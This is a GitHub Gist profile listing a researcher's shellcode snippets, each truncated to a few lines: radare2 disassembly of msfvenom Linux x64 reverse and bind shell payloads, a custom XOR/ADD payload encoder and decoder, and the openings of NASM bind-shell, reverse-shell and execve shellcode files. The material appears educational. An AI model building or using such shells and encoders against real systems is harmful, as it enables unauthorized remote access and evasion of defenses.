Skip to content

Instantly share code, notes, and snippets.

View alanvivona's full-sized avatar
🤖

Alan Vivona alanvivona

🤖
77 followers · 21 following
View GitHub Profile
@alanvivona
alanvivona / linux_x64_shell_reverse_tcp.r2out
Last active February 25, 2019 23:16
radare2 pd output for msfvenom: linux/x64/shell_reverse_tcp
0x00 6a29 push 0x29 ; ')' ; 41
0x02 58 pop rax
0x03 99 cdq
0x04 6a02 push 2 ; 2
0x06 5f pop rdi
0x07 6a01 push 1 ; 1
0x09 5e pop rsi
@alanvivona
alanvivona / linux_x64_shell_reverse_tcp_NOBADCHARS.r2out
Last active February 22, 2019 21:12
radare2 pd output for msfvenom: linux/x64/shell_reverse_tcp, bad characters have been removed using -b '\x00\x09\x0a\x0d\x1a\x20'
0x00 4831c9 xor rcx, rcx
0x03 4881e9f6ffff. sub rcx, 0xfffffffffffffff6
0x0a 488d05efffff. lea rax, [0x00000000]
0x11 48bba062921b. movabs rbx, 0x2cbc29441b9262a0
┌─> 0x1b 48315827 xor qword [rax + 0x27], rbx
╎ 0x1f 482df8ffffff sub rax, 0xfffffffffffffff8
└─< 0x25 e2f4 loop 0x1b
@alanvivona
alanvivona / msfvenom-shell_find_port.r2out
Created February 22, 2019 21:24
radare2 pd output for msfvenom: linux/x64/shell_find_port
0x00 4831ff xor rdi, rdi
0x03 4831db xor rbx, rbx
0x06 b314 mov bl, 0x14 ; 20
0x08 4829dc sub rsp, rbx
0x0b 488d1424 lea rdx, [rsp]
0x0f 488d742404 lea rsi, [rsp + 4] ; 4
┌─> 0x14 6a34 push 0x34 ; '4' ; 52
@alanvivona
alanvivona / msfvenom-shell_bind_tcp_random_port.r2out
Created February 22, 2019 21:27
radare2 pd output for msfvenom: linux/x64/shell_bind_tcp_random_port
0x00 4831f6 xor rsi, rsi
0x03 48f7e6 mul rsi
0x06 ffc6 inc esi
0x08 6a02 push 2 ; 2
0x0a 5f pop rdi
0x0b b029 mov al, 0x29 ; ')' ; 41
0x0d 0f05 syscall
@alanvivona
alanvivona / xanax-encoder.nasm
Last active March 2, 2019 19:02
global _start
segment .data
keys.xor1 equ 0x29
keys.add1 equ 0xff
keys.xor2 equ 0x50
keys.add2 equ 0x05
payload.len equ 74 ; this can't be over 127 bytes otherwise it will produce nullbytes
@alanvivona
alanvivona / xanax-decoder.nasm
Created March 2, 2019 19:29
global _start
section .text
keys.xor1 equ 0x29
keys.add1 equ 0xff
keys.xor2 equ 0x50
keys.add2 equ 0x05
; xanax encoded payload
@alanvivona
alanvivona / tcp-bind-shell.nasm
Last active March 2, 2019 22:50
; =================================================
; TCP Bind Shell
; =================================================
global _start
; Syscall numbers
syscalls.socket equ 0x29
syscalls.bind equ 0x31
syscalls.listen equ 0x32
@alanvivona
alanvivona / tcp-bind-shell-auth.v2.nasm
Last active July 27, 2019 07:01
; =================================================
; TCP Bind Shell with Auth
; =================================================
global _start
; Syscall numbers
syscalls.socket equ 0x29
syscalls.bind equ 0x31
syscalls.listen equ 0x32
@alanvivona
alanvivona / reverse-tcp-auth-shell.nasm
Last active January 30, 2020 11:04
; =================================================
; Password protected x64 TCP Reverse Shell
; Author: Alan Vivona
; =================================================
global _start
; Syscall numbers
syscalls.socket equ 0x29
syscalls.bind equ 0x31
@alanvivona
alanvivona / simple-execve-shellcode.nasm
Created March 17, 2019 20:20
A simple execve shellcode example
; EXECVE
; RDX = 0x00
; RSI = 0x00
; RDI = address of '//bin/sh', 0x00 (the extra slash is just for rounding to 8 bytes)
section .text
global _start
_start: